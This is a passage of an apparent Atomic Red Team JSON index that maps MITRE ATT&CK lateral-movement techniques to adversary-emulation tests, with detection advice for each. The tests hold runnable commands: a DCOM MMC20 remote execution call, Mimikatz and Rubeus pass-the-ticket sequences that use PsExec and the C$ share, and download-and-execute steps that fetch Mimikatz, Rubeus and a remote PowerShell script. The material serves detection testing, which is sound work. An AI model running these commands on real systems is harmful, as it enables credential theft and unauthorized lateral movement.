- "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Process: Process Creation",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1021.003"
- },
- "atomic_tests": [
- {
- "name": "PowerShell Lateral Movement using MMC20",
- "auto_generated_guid": "6dc74eb1-c9d6-4c53-b3b5-6f50ae339673",
- "description": "Powershell lateral movement using the mmc20 application com object.\n\nReference:\n\nhttps://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/\n\nUpon successful execution, cmd will spawn calc.exe on a remote computer.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "Name of Computer",
- "type": "string",
- "default": "localhost"
- }
- },
- "executor": {
- "command": "[activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.application\",\"#{computer_name}\")).Document.ActiveView.ExecuteShellCommand(\"c:\\windows\\system32\\calc.exe\", $null, $null, \"7\")\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1175": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1175",
- "url": "https://attack.mitre.org/techniques/T1175"
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
- "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
- "source_name": "Microsoft COM ACL"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
- "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
- "source_name": "Microsoft Process Wide Com Keys"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
- "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
- "source_name": "Microsoft System Wide Com Keys"
- },
- {
- "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
- "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
- "source_name": "ProjectZero File Write EoP Apr 2018"
- },
- {
- "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
- "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
- "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
- "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
- "source_name": "Enigma MMC20 COM Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
- "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
- "source_name": "Enigma DCOM Lateral Movement Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
- "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
- "source_name": "Enigma Excel DCOM Sept 2017"
- },
- {
- "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
- "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
- "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
- }
- ],
- "modified": "2020-03-30T13:36:10.069Z",
- "name": "Component Object Model and Distributed COM",
- "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1550.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux",
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
- "type": "attack-pattern",
- "created": "2020-01-30T17:03:43.072Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.003",
- "url": "https://attack.mitre.org/techniques/T1550/003"
- },
- {
- "external_id": "CAPEC-645",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/645.html"
- },
- {
- "url": "https://adsecurity.org/?p=556",
- "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
- "source_name": "ADSecurity AD Kerberos Attacks"
- },
- {
- "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
- "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
- "source_name": "GentilKiwi Pass the Ticket"
- },
- {
- "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
- "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
- "source_name": "Campbell 2014"
- },
- {
- "source_name": "Stealthbits Overpass-the-Hash",
- "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/",
- "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."
- },
- {
- "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
- "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
- "source_name": "CERT-EU Golden Ticket Protection"
- }
- ],
- "modified": "2021-08-31T19:56:31.341Z",
- "name": "Use Alternate Authentication Material: Pass the Ticket",
- "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Active Directory: Active Directory Credential Request",
- "User Account: User Account Authentication"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ],
- "x_mitre_system_requirements": [
- "Kerberos authentication enabled"
- ],
- "identifier": "T1550.003"
- },
- "atomic_tests": [
- {
- "name": "Mimikatz Kerberos Ticket Attack",
- "auto_generated_guid": "dbf38128-7ba7-4776-bedf-cc2eed432098",
- "description": "Similar to PTH, but attacking Kerberos\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ticket": {
- "description": "Ticket file name usually format of 'id-username\\@domain.kirbi' (e.g. can be dumped by \"sekurlsa::tickets /export\" module)",
- "type": "string",
- "default": null
- },
- "mimikatz_exe": {
- "description": "Path of the Mimikatz binary",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n",
- "prereq_command": "if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path #{mimikatz_exe} | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "command": "#{mimikatz_exe} \"kerberos::ptt #{ticket}\"\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Rubeus Kerberos Pass The Ticket",
- "auto_generated_guid": "a2fc4ec5-12c6-4fb4-b661-961f23f359cb",
- "description": "Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).\nPsExec is used to execute commands on the remote system, and the \"C$\" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target": {
- "description": "Remote system to request the TGT from",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "username associated with the ticket (privileged account not required)",
- "type": "string",
- "default": "Administrator"
- },
- "password": {
- "description": "password for user_name",
- "type": "string",
- "default": "Password"
- },
- "domain": {
- "description": "domain",
- "type": "string",
- "default": "$Env:USERDOMAIN"
- },
- "rubeus_path": {
- "description": "Path of the Rubeus binary",
- "type": "path",
- "default": "$Env:TEMP\\rubeus.exe"
- },
- "rubeus_url": {
- "description": "URL of Rubeus executable",
- "type": "url",
- "default": "https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe"
- },
- "psexec_path": {
- "description": "Path of the PsExec binary",
- "type": "string",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Rubeus must exist on disk at specified location (#{rubeus_path})\n",
- "prereq_command": "if (Test-Path #{rubeus_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{rubeus_path}\n"
- },
- {
- "description": "PsExec must exist on disk at specified location (#{psexec_path})\n",
- "prereq_command": "if (Test-Path #{psexec_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "#{psexec_path} -accepteula \\\\#{target} -w c:\\ -c #{rubeus_path} asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location $env:TEMP\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from '#{target}', now requesting a TGS from local\"\n& \"#{rubeus_path}\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"#{rubeus_path}\" purge \n"
- }
- }
- ]
- },
- "T1051": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:46.047Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1051",
- "url": "https://attack.mitre.org/techniques/T1051"
- },
- {
- "external_id": "CAPEC-563",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/563.html"
- },
- {
- "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.",
- "source_name": "Microsoft Web Root OCT 2016"
- },
- {
- "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content",
- "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
- "source_name": "Apache Server 2018"
- },
- {
- "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/",
- "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
- "source_name": "Webroot PHP 2011"
- }
- ],
- "modified": "2020-03-30T13:56:55.356Z",
- "name": "Shared Webroot",
- "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Shared webroot directory on remote system"
- ]
- },
- "atomic_tests": []
- },
- "T1072": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Shane Tully, @securitygypsy"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:57.201Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1072",
- "url": "https://attack.mitre.org/techniques/T1072"
- },
- {
- "external_id": "CAPEC-187",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/187.html"
- }
- ],
- "modified": "2020-12-11T17:00:00.938Z",
- "name": "Software Deployment Tools",
- "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1072"
- },
- "atomic_tests": [
- {
- "name": "Radmin Viewer Utility",
- "auto_generated_guid": "b4988cad-6ed2-434d-ace5-ea2670782129",
- "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "radmin_installer": {
- "description": "Radmin Viewer installer",
- "type": "path",
- "default": "RadminViewer.msi"
- },
- "radmin_exe": {
- "description": "The radmin.exe executable from RadminViewer.msi",
- "type": "path",
- "default": "Radmin Viewer 3/Radmin.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n",
- "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{radmin_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Downloading radmin installer\n(New-Object Net.WebClient).DownloadFile(\"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\",\"$ENV:Temp\\#{radmin_installer}\")\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , $ENV:Temp\\#{radmin_installer}, /qn\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "\"%PROGRAMFILES(x86)%/#{radmin_exe}\"\n"
- }
- },
- {
- "name": "PDQ Deploy RAT",
- "auto_generated_guid": "e447b83b-a698-4feb-bed1-a7aaf45c3443",
- "description": "An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "PDQ_Deploy_installer": {
- "description": "PDQ Deploy Install",
- "type": "path",
- "default": "PDQDeploysetup.exe"
- },
- "PDQ_Deploy_exe": {
- "description": "The PDQDeployConsole.exe executable from PDQDeploysetup.exe",
- "type": "path",
- "default": "Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n",
- "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Downloading PDQ Deploy installer\n(New-Object Net.WebClient).DownloadFile(\"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\",\"$ENV:Temp\\#{PDQ_Deploy_installer}\")\nWrite-Host Install PDQ Deploy\nStart-Process $ENV:Temp\\#{PDQ_Deploy_installer} -Wait -ArgumentList \"/s\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "\"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\"\n"
- }
- }
- ]
- },
- "T1210": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ExtraHop"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1210",
- "url": "https://attack.mitre.org/techniques/T1210"
- },
- {
- "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
- "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
- "source_name": "CIS Multiple SMB Vulnerabilities"
- },
- {
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
- "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
- "source_name": "NVD CVE-2017-0176"
- },
- {
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
- "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
- "source_name": "NVD CVE-2016-6662"
- },
- {
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
- "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
- "source_name": "NVD CVE-2014-7169"
- }
- ],
- "modified": "2022-02-24T15:06:46.006Z",
- "name": "Exploitation of Remote Services",
- "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
